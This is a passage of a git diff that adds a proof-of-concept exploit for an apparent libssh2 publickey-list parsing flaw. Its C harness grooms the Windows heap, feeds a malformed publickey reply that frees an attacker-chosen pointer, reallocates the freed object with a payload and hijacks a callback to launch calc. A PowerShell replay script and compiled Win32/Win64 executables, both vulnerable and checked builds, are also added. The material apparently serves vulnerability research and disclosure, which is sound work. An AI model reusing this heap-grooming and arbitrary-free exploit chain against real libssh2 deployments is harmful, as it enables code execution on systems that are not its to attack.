LIBSSH2_CHANNEL channel; + LIBSSH2_PUBLICKEY pkey; + libssh2_publickey_list *list = NULL; + unsigned long num_keys = 0; + struct victim payload; + struct victim *replacement; + int rc; + + memset(&session, 0, sizeof(session)); + memset(&channel, 0, sizeof(channel)); + memset(&pkey, 0, sizeof(pkey)); + memset(&payload, 0x43, sizeof(payload)); + + stale_victim = app_alloc_raw(sizeof(*stale_victim)); + if(!stale_victim) + return 70; + memset(stale_victim, 0x42, sizeof(*stale_victim)); + stale_victim->cb = safe_callback; + + payload.cb = launch_calc_callback; + + fprintf(stderr, + "victim=%p victim_size=%llu replacement_callback=%p list_entry_size=%llu attrs_off=%llu\n", + stale_victim, (unsigned long long)sizeof(*stale_victim), + launch_calc_callback, + (unsigned long long)sizeof(libssh2_publickey_list), + (unsigned long long)offsetof(libssh2_publickey_list, attrs)); + + { + void *small_prime = app_alloc_raw(19); + small_guard = app_alloc_raw(64); + fprintf(stderr, "small_prime=%p size=19 small_guard=%p size=64\n", + small_prime, small_guard); + app_free_raw(small_prime); + } + + session.alloc = app_alloc; + session.free = app_free; + session.realloc = app_realloc; + channel.session = &session; + pkey.channel = &channel; + pkey.version = 2; + + append_version_groom((uintptr_t)stale_victim); + append_malformed_publickey(); + + rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list); + fprintf(stderr, + "fetch rc=%d num_keys=%lu victim_freed=%d heap_free_failures=%lu\n", + rc, num_keys, victim_freed, heap_free_failures); + + replacement = app_alloc_raw(sizeof(*replacement)); + fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement, + replacement == stale_victim); + if(replacement) + memcpy(replacement, &payload, sizeof(payload)); + + fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb); + stale_victim->cb(); + + return victim_freed ? 2 : 0; +} + +int main(int argc, char **argv) +{ + if(argc > 1 && !strcmp(argv[1], "calc")) + launch_real_calc = 1; + + app_heap = HeapCreate(0, 0, 0); + if(!app_heap) + return 69; + + return run_once(); +} diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe new file mode 100644 index 0000000..8eccbd3 Binary files /dev/null and b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe differ diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro_checked.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro_checked.exe new file mode 100644 index 0000000..bd34930 Binary files /dev/null and b/libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro_checked.exe differ diff --git a/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 b/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 new file mode 100644 index 0000000..2b11bef --- /dev/null +++ b/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 @@ -0,0 +1,76 @@ +$ErrorActionPreference = "Continue" + +$Root = Split-Path -Parent $MyInvocation.MyCommand.Path +$Poc = Join-Path $Root "poc" +Set-Location -LiteralPath $Root + +function Show-Matches($text, $patterns) { + $pattern = [string]::Join("|", $patterns) + $text | Select-String -Pattern $pattern +} + +Remove-Item -LiteralPath (Join-Path $Root "x86_calc_payload_reached.txt") -ErrorAction SilentlyContinue +Remove-Item -LiteralPath (Join-Path $Root "x64_calc_payload_reached.txt") -ErrorAction SilentlyContinue + +Write-Output "== Win32 publickey-list calc chain ==" +$x86v = Join-Path $Poc "publickey_win32_heap_groom_calc_repro.exe" +$x86c = Join-Path $Poc "publickey_win32_heap_groom_calc_repro_checked.exe" +$x86Args = @("3", "n", "call", "4068") +$hit = 0 +$hitOut = $null + +for($i = 1; $i -le 30; $i++) { + $out = & $x86v @x86Args 2>&1 + if($LASTEXITCODE -eq 77) { + $hit = $i + $hitOut = $out + break + } +} + +if($hit) { + Write-Output "x86_vulnerable_calc=hit attempt=$hit limit=30" + Show-Matches $hitOut @("attrs_alloc", "victim\[", "marker_function_reached", "calc_launch") +} +else { + Write-Output "x86_vulnerable_calc=miss limit=30" +} + +if(Test-Path (Join-Path $Root "x86_calc_payload_reached.txt")) { + Get-Content (Join-Path $Root "x86_calc_payload_reached.txt") +} + +$checkedHit = 0 +for($i = 1; $i -le 30; $i++) { + & $x86c @x86Args *> $null + if($LASTEXITCODE -eq 77) { + $checkedHit = $i + break + } +} + +if($checkedHit) { + Write-Output "x86_checked_calc=unexpected_hit attempt=$checkedHit limit=30" +} +else { + Write-Output "x86_checked_calc=no_hit limit=30" +} + +Write-Output "" +Write-Output "== Win64 publickey-list calc chain ==" +$x64v = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro.exe" +$x64c = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro_checked.exe" +$x64Out = & $x64v calc 2>&1 +$x64Exit = $LASTEXITCODE + +Write-Output "x64_vulnerable_calc_exit=$x64Exit" +Show-Matches $x64Out @("victim=", "free ptr=", "free_ignored_unknown", "victim_freed=", "same_as_victim=1", "calc_payload_reached", "calc_launch") + +if(Test-Path (Join-Path $Root "x64_calc_payload_reached.txt")) { + Get-Content (Join-Path $Root "x64_calc_payload_reached.txt") +} + +$x64CheckedOut = & $x64c calc 2>&1 +$x64CheckedExit = $LASTEXITCODE +Write-Output "x64_checked_calc_exit=$x64CheckedExit" +Show-Matches $x64CheckedOut @("victim_freed=", "same_as_victim=", "safe_callback_reached", "calc_payload_reached", "calc_launch")